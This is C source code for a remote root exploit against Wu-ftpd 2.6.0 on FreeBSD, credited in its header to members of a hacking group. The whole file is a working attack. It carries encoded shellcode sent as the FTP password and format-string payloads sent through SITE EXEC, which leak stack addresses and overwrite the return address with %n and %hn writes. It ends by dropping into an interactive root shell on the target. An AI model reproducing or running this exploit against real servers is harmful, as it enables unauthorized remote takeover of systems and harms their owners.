/* * WU-hooooooooo ! ;) * remote root exploit for FreeBSD Wu-ftpd 2.6.0 ! * Written by glitch of AdG. * Shellcode by Myt of AdG * This is mega private ! * for Action Direct Group members only ! * Don't distribute ! * * Greetings to tf8, adm. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <errno.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> #include <signal.h> /* * Warning ! You may increase DELAY value * for slow connections ! * */ #define DELAY 5 char bsd_shellcode[] = "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF" "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8" "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14" "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11" "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F" "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9" "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11" "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9" "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86" "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF"; struct sys_type { char *sysname; int penum; int penum2; int penum3; int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */ char *shellcode; }; struct sys_type target[] = { {"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS",47,37,52,355,bsd_shellcode}, {"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS",46,36,51,354,bsd_shellcode}, /* {"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS",32,48,44,355,bsd_shellcode}, */ {NULL,0,0,0,0,NULL} }; int sock; /* Socket Descriptor */ int sysnumber = 0; char tosend[1024]; /* send buffer */ char torecv[4096]; /* receive buffer */ int max(int,int); char *scan_ptrretaddr(int,int); char *scan_retaddr(int); void receive(void); void ftp_login(char *,char *); void store_value(int,int,int); void shell(void); void site_exec(char *); void usage(char *); int main (argc,argv) int argc; char *argv[]; { int port = 21; int main_index = 0; char *ptrretaddr; char *retaddr; struct sockaddr_in sin; struct hostent *host; while(target[sysnumber].sysname != NULL) sysnumber++; if (argc < 3) usage(argv[0]); main_index = atoi(argv[2]); if (main_index < 0 || main_index > sysnumber-1) { printf("Wrong system identifier!\n"); usage(argv[0]); } printf ("Exploiting: %s\n",target[main_index].sysname); if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0) { perror("Socket error"); exit(-1); } if(argv[3]) port=atoi(argv[3]); bzero((char*)&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(port); host=gethostbyname(argv[1]); if (host == 0) { printf("Cannot resolve %s\n",argv[1]); exit(-1); } memcpy(&sin.sin_addr,host->h_addr,host->h_length); if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0) { perror("Connect error"); exit(-1); } printf("\nCONNECTED!\n\n"); sleep(DELAY); receive(); fputs(torecv,stdout); ftp_login("ftp",target[main_index].shellcode); ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset); retaddr = scan_retaddr(target[main_index].penum2); store_value(target[main_index].penum,((int)ptrretaddr & 65535),1); sleep(DELAY);receive(); store_value(target[main_index].penum3,(int)retaddr,2); printf("\033[32mAdG rox ! :)\033[37m\n"); write(sock,"uname -a;id\n",strlen("uname -a;id\n")); signal(SIGINT,SIG_IGN); shell(); } int max(int x,int y) { if (x > y) return(x); return(y); } void receive(void) { bzero(torecv,sizeof(torecv)); if(read(sock,torecv,sizeof(torecv)) == 0) { printf("Connection closed by foreign host!\n"); exit(-1); } } void shell(void) { fd_set rset; int nfds,nread; bzero(torecv,sizeof(torecv)); for (;;) { nfds=max(fileno(stdin),sock)+1; FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sock,&rset); select(nfds,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { bzero(tosend,sizeof(tosend)); fgets(tosend,sizeof(tosend)-2,stdin); write(sock,tosend,strlen(tosend)); } if(FD_ISSET(sock,&rset)) { bzero(torecv,sizeof(torecv)); if((nread=read(sock,torecv,sizeof(torecv))) == 0) { printf("\nEOF\n"); exit(0); } if (nread < 0) { perror("Read error"); exit(-1); } fputs(torecv,stdout); } } } void ftp_login(char *username, char *password) { sprintf(tosend,"USER %s\n",username); printf("\033[32m%s\033[37m",tosend); write(sock,tosend,strlen(tosend)); sleep(DELAY); receive(); fputs(torecv,stdout); sprintf(tosend,"PASS %s\n",password); printf("\033[32mPASS <shellcode>\033[37m\n"); write(sock,tosend,strlen(tosend)); sleep(DELAY); receive(); fputs(torecv,stdout); } void site_exec(char *string) { char buf[1034]; bzero(buf,sizeof(buf)); snprintf(buf,sizeof(buf),"site exec %s\n",string); write(sock,buf,strlen(buf)); } char *scan_ptrretaddr(int penum,int offset) { int a; char *buf; char *ptr, *retvalue; printf("Scanning remote server's stack:\n"); bzero(tosend,sizeof(tosend)); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,"%s","%p:%d"); } site_exec(tosend); sleep(DELAY); receive(); buf = strstr(torecv,":")+1; ptr =(char*)atoi(buf); printf("\033[32mScanned PTRPTRRETADDR is \033[31m0x%x\n\033[37m",ptr); retvalue = ptr - offset*4; printf("\033[32mCalculated PTRRETADDR is \033[31m0x%x\n\033[37m",retvalue); return retvalue; } char *scan_retaddr(int penum) { int a; char *buf; char *ptr, *retvalue; printf("Detecting return address:\n"); bzero(tosend,sizeof(tosend)); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,"%s","%p:%d"); } site_exec(tosend);sleep(DELAY);receive(); buf = strstr(torecv,":")+1; ptr =(char*)atoi(buf); printf("\033[32mScanned TEMPADDR is \033[31m0x%x\n\033[37m",ptr); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,"%s","%p:%s"); } site_exec(tosend);sleep(DELAY);receive(); retvalue = ptr; buf = strstr(torecv,":")+1; ptr = strstr(torecv,"/")+1; retvalue += ptr - buf; printf("\033[32mCalculated RETADDR is \033[31m0x%x\n\033[37m",retvalue); return retvalue; } void store_value(int penum,int value,int type) { int a; int offset; char *buf; char *ptr1, *ptr2; printf("Storing value 0x%x\n",value); bzero(tosend,sizeof(tosend)); buf = tosend; sprintf(buf,"%%.10d"); /* WARNING 10 is a MAGIC NUM! */ for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2) { sprintf(buf,"%s","%p:"); } site_exec(tosend); sleep(DELAY); receive(); ptr1 = strstr(torecv,"-")+1; ptr2 = strstr(torecv,":"); offset = ptr2 - ptr1; printf("offset is 0x%x\n",offset); bzero(tosend,sizeof(tosend)); buf = tosend; sprintf(buf,"%%.%d\x64",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */ for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2) { if(type == 1) sprintf(buf,"%s","%p%hn"); if(type == 2) sprintf(buf,"%s","%p%n"); } site_exec(tosend); } void usage(char *arg) { int i; printf("Usage: %s <hostname> <systype> [port]\n",arg); printf(" known systypes: \n"); for(i=0;i < sysnumber;i++) printf(" %2d - %s\n",i,target[i].sysname); exit(-1); }